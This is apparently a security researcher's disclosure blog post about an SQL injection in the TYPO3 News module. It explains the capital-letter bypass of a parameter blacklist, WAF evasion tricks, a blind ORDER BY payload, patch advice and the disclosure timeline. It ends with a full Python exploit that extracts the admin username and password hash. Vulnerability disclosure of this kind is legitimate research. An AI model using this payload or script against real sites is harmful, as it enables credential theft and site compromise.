Polygonal Background
06 April, 2017
  • Posted By Charles Fol
  • typo3 module sqli news exploit vulnerability details
Full Article

The News module, the 20th most used module of TYPO3, is subject to an SQL injection vulnerability. Although the author has been contacted numerous times in the span of 4 months, no fix has been provided. We are therefore releasing the details. Also, it should be noted that the vulnerability is only present when the module's setting overrideDemand is set to 1, which is the case by default.

Description

The module is organised as an MVC architecture. As an user, you're allowed to list and read news. The former allows to define criteria to filter out news, such as the author, categories, date of publication, etc. Here's the simplified piece of code, present in NewsController.php, which is responsible for doing this. Comments are my own.

<?php

class NewsController
{
    # List of parameters that cannot be set by the user
    protected $ignoredSettingsForOverride = ['demandClass', 'orderByAllowed'];

    # This is our entry point
    # The only parameter, $overwriteDemand, is sent via POST
    public function listAction(array $overwriteDemand = null)
    {
        # Initializes a Demand Object with default settings
        $demand = $this->createDemandObjectFromSettings($this->settings);
        # Sets up user-given settings from $overwriteDemand
        $demand = $this->overwriteDemandObject($demand, $overwriteDemand);

        # Builds an SQL query from the Demand object, and runs it
        $newsRecords = $this->newsRepository->findDemanded($demand);

        # Displays results
        $this->view->display($newsRecords);
    }

    protected function overwriteDemandObject($demand, $overwriteDemand)
    {
        # Some values cannot be set by the user: they are removed
        foreach ($this->ignoredSettingsForOverride as $property) {
            unset($overwriteDemand[$property]);
        }
        # Assign values that went through the filter by calling set<$name>($value)
        foreach ($overwriteDemand as $propertyName => $propertyValue) {
            $methodName = 'set' . ucfirst($propertyName);

            if(is_callable($demand, $setterMethodName))
                $demand->{$setterMethodName}($propertyValue);
        }
        return $demand;
    }
}

After its creation, parameters of the Demand object are used to build an SQL query: for instance, setting an author would result in adding a condition similar to this one to the query:

WHERE author='{$demand->getAuthor()}'

Vulnerability

Any attribute might therefore be a potential SQL injection vector. The complete list of possible criteria is the following:

<?php

public function setArchiveRestriction($archiveRestriction)
public function setCategories($categories)
public function setCategoryConjunction($categoryConjunction)
public function setIncludeSubCategories($includeSubCategories)
public function setAuthor($author)
public function setTags($tags)
public function setTimeRestriction($timeRestriction)
public function setTimeRestrictionHigh($timeRestrictionHigh)
public function setOrder($order)
public function setOrderByAllowed($orderByAllowed)
public function setTopNewsFirst($topNewsFirst)
public function setSearchFields($searchFields)
public function setTopNewsRestriction($topNewsRestriction)
public function setStoragePage($storagePage)
public function setDay($day)
public function setMonth($month)
public function setYear($year)
public function setLimit($limit)
public function setOffset($offset)
public function setDateField($dateField)
public function setSearch($search = null)
public function setExcludeAlreadyDisplayedNews($excludeAlreadyDisplayedNews)
public function setHideIdList($hideIdList)
public function setAction($action)
public function setClass($class)
public function setActionAndClass($action, $controller)

Out of these, a few seem interesting, as they are not contained in quotes in an SQL query; limit, offset, and order look like good candidates. Sadly, the first two are properly filtered using a cast to integer.

Nevertheless, the last one, order, is filtered using a whitelist, contained in another parameter, orderByAllowed.

<?php

if (Validation::isValidOrdering($demand->getOrder(), $demand->getOrderByAllowed())) {
    $order_by_field = $demand->getOrder();
} else {
    # Default
    $order_by_field = 'id';
}

Therefore, by sending, via POST, orderByAllowed, and orderBy, we would be able to control a part of the SQL statement, and get an injection.

But again, we're blocked: orderByAllowed is one of the blacklisted parameters: it cannot be set via POST. Here is the attribute filtering/setting code again:

<?php

protected function overwriteDemandObject($demand, $overwriteDemand)
{
    # Some values cannot be set by the user: they are removed
    foreach ($this->ignoredSettingsForOverride as $property) {
        unset($overwriteDemand[$property]);
    }
    # Assign values that went through the filter by calling set<$name>($value)
    foreach ($overwriteDemand as $propertyName => $propertyValue) {
        $methodName = 'set' . ucfirst($propertyName);

        if(is_callable($demand, $setterMethodName))
            $subject->{$setterMethodName}($propertyValue);
    }
    return $demand;
}

In order to call the setter, the module capitalizes the first letter of given parameters. It allows us to bypass the unset() filter: by sending OrderByAllowed with a capital O instead, it is not deleted anymore, and setOrderByAllowed() is called.

We're now able to define our own orderByAllowed: order can be fully controlled by us, and we get an SQL injection.

Exploitation

Since we're exploiting an ORDER BY on MySQL, our payload must be of the form:

IF(
    (
        ORD(SUBSTRING(
            (SELECT password FROM be_user WHERE id=1), 4, 1)
        )) = 0x41
    ),
    id,
    title
)

Depending on the result of the test, the ordering of the news would change, allowing us to perform a test-based SQL injection.

But again, to some application logic and WAF filters, we have to bypass a few restrictions in order to be able to exploit this SQL injection.

Badchars:

  • Any capital letter
  • Any space
  • Commas
  • SQL Comments (due to the WAF)

Also, the name of table is prefixed to our payload. That is, the SQL query looks like:

SELECT ... FROM ... ORDER BY tx_news_model_domain_news.$order

Since SQL does not care about the case, the first problem can be discarded. The second one, along with the comments, can be bypassed by using a parenthesed syntax, such as:

...(SELECT(password)FROM(be_users)WHERE(id=1))...

Commas are a little bit more annoying, but MySQL provides some alternative syntaxes, such as SUBSTRING(x FROM y FOR z) instead of SUBSTRING(x, y, z), and (CASE condition WHEN 1 THEN x ELSE y END) instead of IF(condition,x,y).

Badchars being avoided, we can now focus on the prefix problem. Instead of using two fields, we pick a numeric field and multiply it by either 1 or -1, depending on our condition, like so:

uid * (CASE condition WHEN 1 THEN 1 ELSE -1 END)

If condition is true, the news will be sorted by uid. Otherwise, they'll be sorted by -uid, which means they'll be displayed in the reverse order.

Our final payload looks like this:

uid*(case(ord(substring((select(password)from(be_users)where(uid=1))from(2)for(1))))when(48)then(1)else(-1)end)

We now have every element to conduct a blind SQL injection. By default, sessions are IP-specific, meaning that we cannot use them to hijack an account. We need to download and bruteforce password hashes.

Patch

The best way to patch this is to block users from changing the demand parameters by setting overrideDemand to zero. Another way would be to block keys containing any case-variation and URL-encoding of OrderByAllowed from GET and POST.

Timeline

  • 2017-01-05 Sent email to TYPO3's security team, reporting exploitation via DateField (same vector, just easier)
  • 2017-01-20 Vulnerability acknowledged, TYPO3 says it has been patched
  • 2017-01-25 Reporting exploitation via OrderByAllowed
  • 2017-04-05 Still no answer after numerous tries

Exploit

#!/usr/bin/python3
# TYPO3 News Module SQL Injection Exploit
# https://www.ambionics.io/blog/typo3-news-module-sqli
# cf
#
# The injection algorithm is not optimized, this is just meant to be a POC.
#

import requests
import string


session = requests.Session()
session.proxies = {'http': 'localhost:8080'}

# Change this :-)
URL = 'http://vmweb/typo3/index.php?id=8&no_cache=1'
PATTERN0 = 'Article #1'
PATTERN1 = 'Article #2'


FULL_CHARSET = string.ascii_letters + string.digits + '$./'


def blind(field, table, condition, charset):
    # We add 9 so that the result has two digits
    # If the length is superior to 100-9 it won't work
    size = blind_size(
        'length(%s)+9' % field, table, condition,
        2, string.digits
    )
    size = int(size) - 9
    data = blind_size(
        field, table, condition,
        size, charset
    )
    return data

def select_position(field, table, condition, position, char):
    payload = 'select(%s)from(%s)where(%s)' % (
        field, table, condition
    )
    payload = 'ord(substring((%s)from(%d)for(1)))' % (payload, position)
    payload = 'uid*(case((%s)=%d)when(1)then(1)else(-1)end)' % (
        payload, ord(char)
    )
    return payload

def blind_size(field, table, condition, size, charset):
    string = ''
    for position in range(size):
        for char in charset:
            payload = select_position(field, table, condition, position+1, char)
            if test(payload):
                string += char
                print(string)
                break
        else:
            raise ValueError('Char was not found')

    return string

def test(payload):
    response = session.post(
        URL,
        data=data(payload)
    )
    response = response.text
    return response.index(PATTERN0) < response.index(PATTERN1)

def data(payload):
    return {
        'tx_news_pi1[overwriteDemand][order]': payload,
        'tx_news_pi1[overwriteDemand][OrderByAllowed]': payload,
        'tx_news_pi1[search][subject]': '',
        'tx_news_pi1[search][minimumDate]': '2016-01-01',
        'tx_news_pi1[search][maximumDate]': '2016-12-31',
    }

# Exploit

print("USERNAME:", blind('username', 'be_users', 'uid=1', string.ascii_letters))
print("PASSWORD:", blind('password', 'be_users', 'uid=1', FULL_CHARSET))